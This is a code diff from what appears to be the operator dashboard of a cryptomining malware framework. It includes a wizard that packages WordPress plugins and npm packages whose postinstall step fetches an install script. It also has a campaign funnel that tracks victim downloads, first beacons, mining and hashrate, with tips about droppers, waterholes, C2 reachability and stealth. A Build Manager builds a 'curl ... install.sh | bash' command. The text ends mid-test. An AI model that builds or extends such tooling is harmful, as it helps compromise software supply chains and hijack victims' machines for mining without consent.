export type SupplyChainFamily = 'wordpress' | 'npm';
export const SUPPLY_CHAIN_WIZARD_STEPS = [
'pick-build',
'configure',
'download',
'host',
] as const;
export type SupplyChainWizardStep = (typeof SUPPLY_CHAIN_WIZARD_STEPS)[number];
export const SUPPLY_CHAIN_STEP_LABELS: Record<SupplyChainWizardStep, string> = {
'pick-build': 'Pick build',
configure: 'Configure site/campaign',
download: 'Download ZIP',
host: 'Copy hosting instructions',
};
/** Matches server sanitizeExportSlug in spread_export.go */
export function sanitizeExportSlug(s: string): string {
let slug = s.trim().toLowerCase().replace(/[^a-z0-9._-]+/g, '-').replace(/^[-.]+|[-.]+$/g, '');
if (!slug) slug = 'site';
if (slug.length > 48) slug = slug.slice(0, 48);
return slug;
}
export function wpCampaignSlug(siteName: string): string {
return `wp-${sanitizeExportSlug(siteName)}`;
}
export function wpDownloadUrl(serverUrl: string, siteName: string, buildId: string): string {
const base = serverUrl.replace(/\/$/, '');
const c = wpCampaignSlug(siteName);
let url = `${base}/get?c=${encodeURIComponent(c)}`;
const pin = buildId.trim();
if (pin) url += `&pin=${encodeURIComponent(pin)}`;
return url;
}
export function npmPackageName(campaign: string): string {
const slug = sanitizeExportSlug(campaign || 'npm-helper');
return `@aetherforge/${slug}-helper`;
}
export function npmInstallShUrl(serverUrl: string, campaign: string, buildId: string): string {
const base = serverUrl.replace(/\/$/, '');
const parts: string[] = [];
const pin = buildId.trim();
const slug = campaign.trim();
if (pin) parts.push(`pin=${encodeURIComponent(pin)}`);
if (slug) parts.push(`c=${encodeURIComponent(slug)}`);
return parts.length ? `${base}/install.sh?${parts.join('&')}` : `${base}/install.sh`;
}
export function supplyChainZipFilename(family: SupplyChainFamily, siteOrCampaign: string): string {
const slug = sanitizeExportSlug(siteOrCampaign || (family === 'wordpress' ? 'site' : 'npm-helper'));
return family === 'wordpress' ? `${slug}-wordpress-plugin.zip` : `${slug}-npm-helper.zip`;
}
export function supplyChainWikiUrl(family: SupplyChainFamily): string {
return family === 'wordpress'
? spreadTechniqueDocUrl('wordpress-plugin-supply-chain', true)
: spreadTechniqueDocUrl('npm-postinstall-helper', true);
}
export function supplyChainHostingChecklistUrl(family: SupplyChainFamily): string {
const anchor = family === 'wordpress' ? 'wordpress-hosting-checklist' : 'npm-hosting-checklist';
return `${supplyChainWikiUrl(family).split('#')[0]}#${anchor}`;
}
export interface HostingChecklistItem {
id: string;
label: string;
}
export function hostingChecklist(family: SupplyChainFamily): HostingChecklistItem[] {
if (family === 'wordpress') {
return [
{ id: 'unzip', label: 'Unzip the downloaded plugin archive locally' },
{ id: 'upload', label: 'WP Admin → Plugins → Add New → Upload Plugin' },
{ id: 'activate', label: 'Activate the plugin on your owned WordPress host' },
{ id: 'verify', label: 'Confirm admin notice links to /get?c=wp-{site} on your deck' },
{ id: 'track', label: 'Track wp-{site} hits in Emberwake → Campaign War Room' },
];
}
return [
{ id: 'unzip', label: 'Unzip the npm helper package template' },
{ id: 'name', label: 'Adjust package.json name/scope if needed' },
{ id: 'publish', label: 'Publish to a registry you control (private npm, Verdaccio, GitHub Packages)' },
{ id: 'dep', label: 'Add as dependency only in authorized CI/dev environments' },
{ id: 'verify', label: 'Run npm install and confirm postinstall curls install.sh' },
];
}
export interface HostingInstructionBlock {
title: string;
body: string;
}
export function hostingInstructions(
family: SupplyChainFamily,
opts: { serverUrl: string; siteName: string; campaign: string; buildId: string },
): HostingInstructionBlock[] {
const { serverUrl, siteName, campaign, buildId } = opts;
if (family === 'wordpress') {
const slug = sanitizeExportSlug(siteName);
const dl = wpDownloadUrl(serverUrl, siteName, buildId);
return [
{
title: 'Upload path',
body: `Plugins → Add New → Upload Plugin → choose ${slug}-wordpress-plugin.zip → Install Now → Activate`,
},
{
title: 'Campaign tag',
body: `War Room tracks connects as ?c=${wpCampaignSlug(siteName)}`,
},
{
title: 'Download URL (plugin links here)',
body: dl,
},
{
title: 'Wiki playbook',
body: supplyChainWikiUrl('wordpress'),
},
];
}
const pkg = npmPackageName(campaign);
const install = npmInstallShUrl(serverUrl, campaign, buildId);
return [
{
title: 'Package name',
body: pkg,
},
{
title: 'Publish',
body: `cd unpacked-folder && npm publish --access restricted`,
},
{
title: 'postinstall target',
body: install,
},
{
title: 'Wiki playbook',
body: supplyChainWikiUrl('npm'),
},
];
}
export function wizardStepIndex(step: SupplyChainWizardStep): number {
return SUPPLY_CHAIN_WIZARD_STEPS.indexOf(step);
}
export function wizardStepStatus(
step: SupplyChainWizardStep,
current: SupplyChainWizardStep,
): 'pending' | 'active' | 'done' {
const idx = wizardStepIndex(step);
const cur = wizardStepIndex(current);
if (idx < cur) return 'done';
if (idx === cur) return 'active';
return 'pending';
}
/** Post-export deployment reel — three beats after a successful ZIP export. */
export type DeploymentReelStepId = 'download' | 'upload' | 'verify-war-room';
export interface DeploymentReelStep {
id: DeploymentReelStepId;
label: string;
/** When set, step label links to wiki or in-app anchor. */
href?: string;
}
export const DEPLOYMENT_REEL_STEP_IDS: DeploymentReelStepId[] = [
'download',
'upload',
'verify-war-room',
];
export const DEPLOYMENT_REEL_INITIAL_DELAY_MS = 400;
export const DEPLOYMENT_REEL_STEP_MS = 900;
/** Wiki anchor for the upload/publish beat in the deployment reel. */
export function deploymentReelUploadWikiUrl(family: SupplyChainFamily): string {
const anchor = family === 'wordpress' ? 'wordpress-hosting-checklist' : 'npm-hosting-checklist';
return `${supplyChainWikiUrl(family).split('#')[0]}#${anchor}`;
}
/** In-app scroll target for War Room verification. */
export const EMBERWAKE_WAR_ROOM_HASH = '#campaign-war-room';
export function emberwakeWarRoomUrl(): string {
return `/emberwake${EMBERWAKE_WAR_ROOM_HASH}`;
}
export function deploymentReelSteps(family: SupplyChainFamily): DeploymentReelStep[] {
return [
{ id: 'download', label: 'Download ZIP' },
{ id: 'upload', label: 'Upload here', href: deploymentReelUploadWikiUrl(family) },
{ id: 'verify-war-room', label: 'Verify hit in War Room', href: emberwakeWarRoomUrl() },
];
}
/** How many reel steps should show a completed checkmark at `elapsedMs`. */
export function deploymentReelVisibleCount(elapsedMs: number, stepCount = DEPLOYMENT_REEL_STEP_IDS.length): number {
if (elapsedMs < DEPLOYMENT_REEL_INITIAL_DELAY_MS) return 0;
const afterStart = elapsedMs - DEPLOYMENT_REEL_INITIAL_DELAY_MS;
const count = Math.floor(afterStart / DEPLOYMENT_REEL_STEP_MS) + 1;
return Math.min(Math.max(count, 0), stepCount);
}
/** Index (0-based) of the step currently animating, or -1 before start / after all done. */
export function deploymentReelActiveIndex(visibleCount: number, stepCount = DEPLOYMENT_REEL_STEP_IDS.length): number {
if (visibleCount <= 0) return 0;
if (visibleCount >= stepCount) return -1;
return visibleCount;
}
export function deploymentReelStepStatus(
stepIndex: number,
visibleCount: number,
): 'pending' | 'active' | 'done' {
if (stepIndex < visibleCount) return 'done';
if (stepIndex === visibleCount && visibleCount < DEPLOYMENT_REEL_STEP_IDS.length) return 'active';
return 'pending';
}
export function deploymentReelTotalDurationMs(stepCount = DEPLOYMENT_REEL_STEP_IDS.length): number {
return DEPLOYMENT_REEL_INITIAL_DELAY_MS + stepCount * DEPLOYMENT_REEL_STEP_MS;
}

View File

@@ -0,0 +1,346 @@
import { describe, it, expect } from 'vitest';
import type { WarRoomCampaign } from './warRoom';
import {
conversionPct,
detectFunnelLeaks,
firstBeaconCount,
formatHashrate,
funnelPipeWidth,
funnelStages,
miningCount,
formatOdometerDelta,
odometerDurationMs,
odometerEase,
odometerLerp,
sparklineBarHeight,
sparklineMax,
staggerDelayMs,
stageConversionPct,
} from './warRoom';
function campaign(partial: Partial<WarRoomCampaign> & Pick<WarRoomCampaign, 'campaign'>): WarRoomCampaign {
return {
hits: 0,
downloads: 0,
agents: 0,
online: 0,
hashrate: 0,
conversion_pct: 0,
daily_hits: [],
...partial,
};
}
describe('warRoom helpers', () => {
it('computes conversion percentage', () => {
expect(conversionPct(3, 10)).toBe(30);
expect(conversionPct(1, 3)).toBe(33.3);
expect(conversionPct(0, 0)).toBe(0);
});
it('computes stage conversion percentage', () => {
expect(stageConversionPct(5, 20)).toBe(25);
expect(stageConversionPct(0, 0)).toBe(0);
expect(stageConversionPct(3, 10)).toBe(30);
});
it('formats hashrate tiers', () => {
expect(formatHashrate(0)).toBe('—');
expect(formatHashrate(850)).toBe('850 H/s');
expect(formatHashrate(12_500)).toBe('12.5 kH/s');
expect(formatHashrate(2_400_000)).toBe('2.40 MH/s');
});
it('scales sparkline bars', () => {
const max = sparklineMax([2, 8, 4]);
expect(max).toBe(8);
expect(sparklineBarHeight(8, max)).toBe(100);
expect(sparklineBarHeight(0, max)).toBe(4);
});
it('builds five-stage funnel with rates', () => {
const c = campaign({
campaign: 'wave-a',
hits: 100,
downloads: 40,
first_beacon: 10,
mining: 8,
agents: 10,
hashrate: 5000,
});
const stages = funnelStages(c);
expect(stages).toHaveLength(5);
expect(stages[0].rateFromPrev).toBeNull();
expect(stages[1].rateFromPrev).toBe(40);
expect(stages[2].rateFromPrev).toBe(25);
expect(stages[3].rateFromPrev).toBe(80);
expect(stages[4].display).toBe('5.0 kH/s');
});
it('falls back first_beacon and mining from legacy fields', () => {
const c = campaign({ campaign: 'legacy', agents: 4, hashrate: 900 });
expect(firstBeaconCount(c)).toBe(4);
expect(miningCount(c)).toBe(1);
});
it('sizes funnel pipes relative to hits', () => {
expect(funnelPipeWidth(50, 100)).toBe(50);
expect(funnelPipeWidth(0, 100)).toBe(8);
expect(funnelPipeWidth(1200, 0, true)).toBe(100);
expect(funnelPipeWidth(0, 0, true)).toBe(8);
});
it('formats odometer deltas', () => {
expect(formatOdometerDelta(10, 10)).toBeNull();
expect(formatOdometerDelta(10, 13)).toBe('+3');
expect(formatOdometerDelta(100, 95)).toBe('5');
expect(formatOdometerDelta(0, 12500)).toBe('+12.5k');
expect(formatOdometerDelta(1_000_000, 2_500_000)).toBe('+1.5M');
expect(formatOdometerDelta(33.2, 34.7)).toBe('+1.5');
});
it('staggers animation delays per card and stage', () => {
expect(staggerDelayMs(0, 0)).toBe(0);
expect(staggerDelayMs(1, 2)).toBe(110 + 90);
expect(staggerDelayMs(2, 3, 50)).toBe(220 + 150);
});
it('scales odometer duration with delta magnitude', () => {
expect(odometerDurationMs(2)).toBe(380);
expect(odometerDurationMs(20)).toBe(560);
expect(odometerDurationMs(150)).toBe(720);
expect(odometerDurationMs(500)).toBe(920);
});
it('eases and lerps odometer values', () => {
expect(odometerEase(0)).toBe(0);
expect(odometerEase(1)).toBe(1);
expect(odometerEase(0.5)).toBeCloseTo(0.875, 3);
expect(odometerLerp(10, 20, 0)).toBe(10);
expect(odometerLerp(10, 20, 1)).toBe(20);
expect(odometerLerp(0, 100, 0.5)).toBeCloseTo(87.5, 1);
});
});
describe('detectFunnelLeaks', () => {
it('flags hits with no downloads', () => {
const leaks = detectFunnelLeaks(campaign({ campaign: 'a', hits: 25, downloads: 0 }));
expect(leaks.some((l) => l.stage === 'hits→downloads')).toBe(true);
expect(leaks[0].action).toMatch(/waterhole|dropper/i);
});
it('flags critical leak when many hits but zero beacons', () => {
const leaks = detectFunnelLeaks(campaign({ campaign: 'b', hits: 60, downloads: 12 }));
const critical = leaks.find((l) => l.stage === 'hits→beacon');
expect(critical?.severity).toBe('critical');
});
it('flags downloads without beacon', () => {
const leaks = detectFunnelLeaks(campaign({ campaign: 'c', hits: 10, downloads: 8 }));
expect(leaks.some((l) => l.stage === 'downloads→beacon')).toBe(true);
});
it('flags beacons that never mine', () => {
const leaks = detectFunnelLeaks(
campaign({ campaign: 'd', hits: 30, downloads: 15, first_beacon: 5, agents: 5, mining: 0 }),
);
expect(leaks.some((l) => l.stage === 'beacon→mining')).toBe(true);
});
it('returns empty when funnel is healthy', () => {
const leaks = detectFunnelLeaks(
campaign({
campaign: 'ok',
hits: 10,
downloads: 5,
first_beacon: 2,
mining: 2,
agents: 2,
hashrate: 3000,
online: 1,
}),
);
expect(leaks).toHaveLength(0);
});
it('sorts critical leaks before warnings', () => {
const leaks = detectFunnelLeaks(
campaign({ campaign: 'e', hits: 80, downloads: 30, first_beacon: 0, agents: 0 }),
);
expect(leaks.length).toBeGreaterThan(0);
expect(leaks[0].severity).toBe('critical');
});
});

View File

@@ -0,0 +1,231 @@
/** War Room funnel helpers for Emberwake campaign dashboard. */
export interface WarRoomCampaign {
campaign: string;
hits: number;
downloads: number;
first_beacon?: number;
mining?: number;
agents: number;
online: number;
hashrate: number;
conversion_pct: number;
daily_hits: number[];
last_activity?: string;
pins?: string[];
}
export interface WarRoomResponse {
generated_at: string;
days: number;
campaigns: WarRoomCampaign[];
}
export type FunnelStageId = 'hits' | 'downloads' | 'first_beacon' | 'mining' | 'hashrate';
export interface FunnelStage {
id: FunnelStageId;
label: string;
value: number;
display: string;
/** Conversion from previous stage (0 for first stage). */
rateFromPrev: number | null;
}
export type FunnelLeakSeverity = 'warn' | 'critical';
export interface FunnelLeak {
stage: string;
severity: FunnelLeakSeverity;
message: string;
action: string;
}
/** Agents ÷ hits × 100, rounded to one decimal. */
export function conversionPct(agents: number, hits: number): number {
if (hits <= 0) return 0;
return Math.round((agents / hits) * 1000) / 10;
}
/** Stage-to-stage conversion %, rounded to one decimal. */
export function stageConversionPct(to: number, from: number): number {
if (from <= 0) return 0;
return Math.round((to / from) * 1000) / 10;
}
/** Resolved first-beacon count (falls back to agents for older payloads). */
export function firstBeaconCount(c: WarRoomCampaign): number {
if (c.first_beacon != null) return c.first_beacon;
return c.agents ?? 0;
}
/** Resolved mining count (agents with hashrate > 0). */
export function miningCount(c: WarRoomCampaign): number {
if (c.mining != null) return c.mining;
return c.hashrate > 0 ? 1 : 0;
}
/** Left-to-right funnel stages for a campaign card. */
export function funnelStages(c: WarRoomCampaign): FunnelStage[] {
const beacon = firstBeaconCount(c);
const mining = miningCount(c);
const hits = c.hits ?? 0;
const downloads = c.downloads ?? 0;
return [
{ id: 'hits', label: 'Hits', value: hits, display: String(hits), rateFromPrev: null },
{
id: 'downloads',
label: 'Downloads',
value: downloads,
display: String(downloads),
rateFromPrev: stageConversionPct(downloads, hits),
},
{
id: 'first_beacon',
label: 'First beacon',
value: beacon,
display: String(beacon),
rateFromPrev: stageConversionPct(beacon, downloads),
},
{
id: 'mining',
label: 'Mining',
value: mining,
display: String(mining),
rateFromPrev: stageConversionPct(mining, beacon),
},
{
id: 'hashrate',
label: 'Hashrate',
value: c.hashrate ?? 0,
display: formatHashrate(c.hashrate),
rateFromPrev: mining > 0 && (c.hashrate ?? 0) > 0 ? 100 : stageConversionPct(c.hashrate > 0 ? 1 : 0, mining),
},
];
}
/** Max pipe fill width (0100) relative to funnel entry hits. */
export function funnelPipeWidth(stageValue: number, hits: number, isHashrate = false): number {
if (isHashrate) {
return stageValue > 0 ? 100 : 8;
}
if (hits <= 0) return stageValue > 0 ? 100 : 8;
return Math.max(8, Math.round((stageValue / hits) * 100));
}
/**
* Detect funnel leaks — actionable callouts when a stage drops sharply.
* Returns highest-severity leaks first.
*/
export function detectFunnelLeaks(c: WarRoomCampaign): FunnelLeak[] {
const hits = c.hits ?? 0;
const downloads = c.downloads ?? 0;
const beacon = firstBeaconCount(c);
const mining = miningCount(c);
const leaks: FunnelLeak[] = [];
if (hits >= 50 && beacon === 0) {
leaks.push({
stage: 'hits→beacon',
severity: 'critical',
message: `${hits} hits but zero agents — funnel dead before beacon.`,
action: 'Verify dropper URL, install script, and C2 reachability from target network.',
});
} else if (hits >= 20 && downloads === 0) {
leaks.push({
stage: 'hits→downloads',
severity: 'warn',
message: `${hits} page hits with no downloads.`,
action: 'Check lure CTA, blocked hosts, or broken /get link on the waterhole.',
});
}
if (downloads >= 5 && beacon === 0) {
leaks.push({
stage: 'downloads→beacon',
severity: 'critical',
message: `${downloads} downloads but no first beacon.`,
action: 'Worker may fail install — confirm server URL, TLS, and agent binary for target OS.',
});
}
if (beacon >= 3 && mining === 0) {
leaks.push({
stage: 'beacon→mining',
severity: 'warn',
message: `${beacon} agents connected but none mining.`,
action: 'Check pool/wallet in build, idle policy, GPU drivers, or Crucible schedule.',
});
}
if (beacon > 0 && mining > 0 && (c.hashrate ?? 0) <= 0 && (c.online ?? 0) === 0) {
leaks.push({
stage: 'mining→hashrate',
severity: 'warn',
message: 'Agents mined before but fleet is offline with zero hashrate.',
action: 'Fleet may have been killed — re-deploy or check stealth / idle resume rules.',
});
}
const order: Record<FunnelLeakSeverity, number> = { critical: 0, warn: 1 };
leaks.sort((a, b) => order[a.severity] - order[b.severity]);
return leaks;
}
/** Compact hashrate for table cells (H/s). */
export function formatHashrate(hs: number): string {
if (!hs || hs <= 0) return '—';
if (hs >= 1_000_000) return `${(hs / 1_000_000).toFixed(2)} MH/s`;
if (hs >= 1_000) return `${(hs / 1_000).toFixed(1)} kH/s`;
return `${Math.round(hs)} H/s`;
}
/** Max value in a daily hits series (for sparkline scaling). */
export function sparklineMax(values: number[]): number {
if (!values.length) return 1;
return Math.max(1, ...values);
}
/** Inline height % for CSS bar sparkline (0100). */
export function sparklineBarHeight(value: number, max: number): number {
if (max <= 0 || value <= 0) return 4;
return Math.max(8, Math.round((value / max) * 100));
}
/** Compact delta label for odometer tick-ups (null when unchanged). */
export function formatOdometerDelta(prev: number, next: number): string | null {
const delta = next - prev;
if (delta === 0 || !Number.isFinite(delta)) return null;
const sign = delta > 0 ? '+' : '';
const abs = Math.abs(delta);
if (abs >= 1_000_000) return `${sign}${(abs / 1_000_000).toFixed(1)}M`;
if (abs >= 10_000) return `${sign}${(abs / 1_000).toFixed(1)}k`;
if (Number.isInteger(abs) || abs >= 100) return `${sign}${Math.round(abs)}`;
return `${sign}${abs.toFixed(1)}`;
}
/** Stagger delay (ms) for funnel card stage animations. */
export function staggerDelayMs(cardIndex: number, itemIndex: number, baseMs = 45): number {
return cardIndex * 110 + itemIndex * baseMs;
}
/** Eased tick duration scales with magnitude of change. */
export function odometerDurationMs(delta: number): number {
const abs = Math.abs(delta);
if (abs <= 3) return 380;
if (abs <= 25) return 560;
if (abs <= 200) return 720;
return 920;
}
/** Cubic ease-out for odometer interpolation (0 → 1). */
export function odometerEase(t: number): number {
const clamped = Math.min(1, Math.max(0, t));
return 1 - (1 - clamped) ** 3;
}
/** Interpolate between two numeric endpoints with odometer easing. */
export function odometerLerp(from: number, to: number, progress: number): number {
return from + (to - from) * odometerEase(progress);
}

View File

@@ -54,7 +54,7 @@ function QuickDeployPanel({ serverInfo }: { serverInfo: ServerInfo | null }) {
);
return (
<NeonCard accent="cyan" style={{ marginBottom: '1.25rem' }}>
<NeonCard accent="cyan" className="operator-deck-card operator-interactive" style={{ marginBottom: '1.25rem' }}>
<div style={{ display: 'flex', alignItems: 'center', gap: '0.75rem', marginBottom: '0.75rem' }}>
<span style={{ fontSize: '1.2rem' }}></span>
<div>
@@ -370,7 +370,7 @@ export default function AgentsPage() {
};
return (
<div className="page fade-in command-deck">
<div className="page fade-in command-deck operator-deck-page">
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">FLEET REGISTRY</p>
@@ -400,7 +400,7 @@ export default function AgentsPage() {
</NeonCard>
) : (
<div className="agents-layout">
<div className="agents-list-panel">
<div className="agents-list-panel operator-deck-card operator-interactive">
<FleetToolbar
agents={agents}
filters={filters}
@@ -443,7 +443,7 @@ export default function AgentsPage() {
</div>
{selectedAgent && (
<NeonCard accent="cyan" className="agent-detail" hud>
<NeonCard accent="cyan" className="agent-detail operator-deck-card operator-interactive" hud>
<h2 className="font-display">{selectedAgent.name}</h2>
{(selectedAgent.tags?.length ?? 0) > 0 && (
<div style={{ marginBottom: '0.5rem' }}>

View File

@@ -354,6 +354,37 @@
color: #f87171;
}
.bm-tag-public {
color: #7dd3fc;
border-color: rgba(125, 211, 252, 0.45);
background: rgba(125, 211, 252, 0.1);
}
.bm-public-btn {
font-size: 0.78rem;
padding: 0.3rem 0.7rem;
background: rgba(56, 189, 248, 0.08);
border: 1px solid rgba(56, 189, 248, 0.3);
border-radius: 4px;
color: #7dd3fc;
cursor: pointer;
transition: background 0.15s, border-color 0.15s, box-shadow 0.15s;
white-space: nowrap;
}
.bm-public-btn:hover:not(:disabled) {
background: rgba(56, 189, 248, 0.18);
border-color: rgba(56, 189, 248, 0.55);
}
.bm-public-btn-active {
background: rgba(56, 189, 248, 0.16);
border-color: rgba(56, 189, 248, 0.6);
color: #38bdf8;
box-shadow: 0 0 8px rgba(56, 189, 248, 0.25);
font-weight: 600;
}
@media (max-width: 640px) {
.bm-grid {
grid-template-columns: 1fr;

View File

@@ -3,6 +3,7 @@
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { cleanup, render, screen, waitFor } from '@testing-library/react';
import userEvent from '@testing-library/user-event';
import { MemoryRouter } from 'react-router-dom';
import BuildManagerPage, {
fmtSize,
@@ -91,4 +92,19 @@ describe('BuildManagerPage', () => {
expect(screen.getByText('office-worker')).toBeTruthy();
});
});
it('toggles public flag via API', async () => {
vi.spyOn(api, 'setBuildPublic').mockResolvedValue({ ok: true, id: 'build-1', public: true });
render(
<MemoryRouter future={routerFuture}>
<BuildManagerPage />
</MemoryRouter>
);
await waitFor(() => expect(screen.getByText('office-worker')).toBeTruthy());
const btn = screen.getByRole('button', { name: /mark public/i });
await userEvent.click(btn);
await waitFor(() => {
expect(api.setBuildPublic).toHaveBeenCalledWith('build-1', true);
});
});
});

View File

@@ -108,6 +108,45 @@ function DeleteButton({ buildId, onDeleted, onError }: { buildId: string; onDele
);
}
function PublicButton({
buildId,
isPublic,
onToggled,
onError,
}: {
buildId: string;
isPublic: boolean;
onToggled: () => void;
onError: (msg: string) => void;
}) {
const [busy, setBusy] = useState(false);
const handleClick = async () => {
if (busy) return;
setBusy(true);
try {
await api.setBuildPublic(buildId, !isPublic);
onToggled();
} catch (e) {
onError(e instanceof Error ? e.message : 'Failed to update public flag');
} finally {
setBusy(false);
}
};
return (
<button
type="button"
className={`bm-public-btn${isPublic ? ' bm-public-btn-active' : ''}`}
disabled={busy}
onClick={() => void handleClick()}
title={isPublic ? 'Remove from login-page public builds list' : 'Expose on unauthenticated public builds API'}
>
{busy ? '…' : isPublic ? '🌐 Public' : '🌐 Mark public'}
</button>
);
}
function PinButton({
buildId,
pinned,
@@ -177,7 +216,7 @@ function BuildCard({
const sh = `curl -sL ${serverBase}/install.sh | bash`;
return (
<NeonCard accent={build.pinned ? 'green' : 'brass'} className={`bm-card${build.pinned ? ' bm-card-pinned' : ''}`}>
<NeonCard accent={build.pinned ? 'green' : 'brass'} className={`bm-card operator-deck-card operator-interactive${build.pinned ? ' bm-card-pinned' : ''}`}>
{/* ── Pinned banner ── */}
{build.pinned && (
<div className="bm-pinned-banner">
@@ -195,6 +234,7 @@ function BuildCard({
>
{platformLabel(build.platform)}
</span>
{build.public && <span className="bm-tag bm-tag-public">PUBLIC</span>}
{isFusion && <span className="bm-tag bm-tag-fusion">FUSION</span>}
{isUniversal && !isFusion && <span className="bm-tag bm-tag-universal">UNIVERSAL</span>}
</div>
@@ -294,6 +334,7 @@ function BuildCard({
<span className="bm-qr-label">Scan to download</span>
</div>
<div className="bm-action-btns">
<PublicButton buildId={build.id} isPublic={!!build.public} onToggled={onPinned} onError={onActionError} />
<PinButton buildId={build.id} pinned={!!build.pinned} onPinned={onPinned} onError={onActionError} />
<button
type="button"
@@ -349,7 +390,7 @@ export default function BuildManagerPage() {
}, [navigate]);
return (
<div className="page fade-in bm-page">
<div className="page fade-in bm-page operator-deck-page">
<div className="bm-header">
<div>
<h1 className="font-display bm-title">Build Manager</h1>

View File

@@ -0,0 +1,171 @@
/* ── Forge seasonal skins (scoped to BuilderPage root) ───────────────────── */
.forge-skin--aether {
--forge-accent: var(--neon-cyan, #00d4ff);
--forge-accent-secondary: var(--neon-amber, #ffc107);
--forge-accent-dim: rgba(0, 212, 255, 0.38);
--forge-accent-bg: rgba(0, 212, 255, 0.07);
--forge-glow: rgba(0, 212, 255, 0.6);
--forge-border-glow: 0 0 22px -6px rgba(0, 212, 255, 0.45);
--forge-progress-from: #ff6a00;
--forge-progress-mid: #ffb300;
--forge-progress-to: #ffd700;
}
.forge-skin--ghost {
--forge-accent: #4d7fff;
--forge-accent-secondary: #8eb8ff;
--forge-accent-dim: rgba(77, 127, 255, 0.42);
--forge-accent-bg: rgba(45, 85, 200, 0.1);
--forge-glow: rgba(77, 127, 255, 0.65);
--forge-border-glow: 0 0 24px -5px rgba(77, 127, 255, 0.5);
--forge-progress-from: #2f5fd4;
--forge-progress-mid: #4d7fff;
--forge-progress-to: #a8c8ff;
}
.forge-skin--halloween {
--forge-accent: #b794f6;
--forge-accent-secondary: #ff8c3a;
--forge-accent-dim: rgba(183, 148, 246, 0.45);
--forge-accent-bg: rgba(100, 50, 160, 0.12);
--forge-glow: rgba(255, 140, 58, 0.58);
--forge-border-glow: 0 0 24px -5px rgba(183, 148, 246, 0.45), 0 0 12px -8px rgba(255, 140, 58, 0.35);
--forge-progress-from: #6d28d9;
--forge-progress-mid: #b794f6;
--forge-progress-to: #ff8c3a;
}
.forge-skin--wildfire {
--forge-accent: #ff8c3a;
--forge-accent-secondary: #ff4d00;
--forge-accent-dim: rgba(255, 120, 40, 0.48);
--forge-accent-bg: rgba(255, 70, 10, 0.11);
--forge-glow: rgba(255, 100, 20, 0.68);
--forge-border-glow: 0 0 26px -4px rgba(255, 120, 40, 0.55);
--forge-progress-from: #e63e00;
--forge-progress-mid: #ff8c3a;
--forge-progress-to: #ffcc66;
}
.forge-skin--crucible {
--forge-accent: #d4af37;
--forge-accent-secondary: #e85d4a;
--forge-accent-dim: rgba(212, 175, 55, 0.48);
--forge-accent-bg: rgba(160, 40, 25, 0.11);
--forge-glow: rgba(232, 93, 74, 0.62);
--forge-border-glow: 0 0 24px -5px rgba(212, 175, 55, 0.4), 0 0 14px -8px rgba(232, 93, 74, 0.4);
--forge-progress-from: #a67c00;
--forge-progress-mid: #e85d4a;
--forge-progress-to: #ffd700;
}
/* Subtle deck chrome */
[class*='forge-skin--'] .deck-hero::after {
background: linear-gradient(90deg, var(--forge-accent), var(--forge-accent-secondary, var(--forge-accent)), transparent);
box-shadow: 0 0 14px var(--forge-glow);
animation: forge-deck-accent-pulse 3s ease-in-out infinite;
}
@keyframes forge-deck-accent-pulse {
0%,
100% {
opacity: 0.85;
box-shadow: 0 0 10px var(--forge-glow);
}
50% {
opacity: 1;
box-shadow: 0 0 18px var(--forge-glow);
}
}
[class*='forge-skin--'] .deck-eyebrow {
color: var(--forge-accent);
}
[class*='forge-skin--'] .builder-form.card {
border-color: var(--forge-accent-dim);
box-shadow: var(--forge-border-glow, 0 0 18px -8px var(--forge-glow));
transition: border-color 0.35s ease, box-shadow 0.35s ease;
}
[class*='forge-skin--'] .endpoint-chip {
color: var(--forge-accent-secondary, var(--forge-accent));
}
[class*='forge-skin--'] .endpoint-chip:hover {
border-color: var(--forge-accent);
background: var(--forge-accent-bg);
}
[class*='forge-skin--'] .endpoint-chip.active {
border-color: var(--forge-accent);
color: var(--forge-accent);
background: var(--forge-accent-bg);
}
/* Operation mode chip select micro-animation */
[class*='forge-skin--'] .forge-mode-chip {
transition:
transform 0.22s cubic-bezier(0.34, 1.2, 0.64, 1),
box-shadow 0.25s ease,
border-color 0.18s ease,
background 0.18s ease,
color 0.18s ease;
}
[class*='forge-skin--'] .forge-mode-chip.active {
animation: forge-mode-chip-pop 0.42s cubic-bezier(0.34, 1.4, 0.64, 1);
box-shadow:
0 0 14px var(--forge-glow),
inset 0 0 10px color-mix(in srgb, var(--forge-accent) 12%, transparent);
}
@keyframes forge-mode-chip-pop {
0% {
transform: scale(0.9);
}
55% {
transform: scale(1.06);
}
100% {
transform: scale(1);
}
}
[class*='forge-skin--'] .forge-simple-banner {
border-color: var(--forge-accent-dim);
background: var(--forge-accent-bg);
}
[class*='forge-skin--'] .forge-progress-wrap {
border-color: var(--forge-accent-dim);
background: var(--forge-accent-bg);
}
[class*='forge-skin--'] .forge-progress-icon {
color: var(--forge-accent);
}
[class*='forge-skin--'] .forge-progress-stage {
color: var(--forge-accent-secondary, var(--forge-accent));
}
[class*='forge-skin--'] .forge-progress-pct {
color: var(--forge-accent);
}
[class*='forge-skin--'] .forge-progress-fill {
background: linear-gradient(
90deg,
var(--forge-progress-from),
var(--forge-progress-mid),
var(--forge-progress-to)
);
box-shadow: 0 0 8px var(--forge-glow);
}
[class*='forge-skin--'] .forge-progress-glow {
background: color-mix(in srgb, var(--forge-accent) 45%, transparent);
box-shadow: 0 0 10px 4px var(--forge-glow);
}

View File

@@ -2,7 +2,7 @@
* @vitest-environment happy-dom
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react';
import { cleanup, fireEvent, render, screen, waitFor, within } from '@testing-library/react';
import userEvent from '@testing-library/user-event';
import { MemoryRouter } from 'react-router-dom';
import BuilderPage, { formatBytes } from './BuilderPage';
@@ -21,6 +21,12 @@ function renderBuilder(initialEntries = ['/forge']) {
);
}
function missionWizardScope() {
const root = screen.getByText('MISSION RITUAL — 3-STEP WIZARD').closest('.forge-mission-wizard');
if (!root) throw new Error('Mission wizard not found');
return within(root as HTMLElement);
}
describe('formatBytes', () => {
it('formats sub-kilobyte values as bytes', () => {
expect(formatBytes(512)).toBe('512 B');
@@ -184,4 +190,104 @@ describe('BuilderPage', () => {
screen.getByText(/Drop any file — PDF, video, document/i)
).toBeInTheDocument();
});
it('applies forge skin class from default operation mode', async () => {
localStorage.setItem('aetherforge-operation-mode', 'ghost_walk');
localStorage.setItem('aetherforge-forge-theme', 'auto');
const { container } = renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
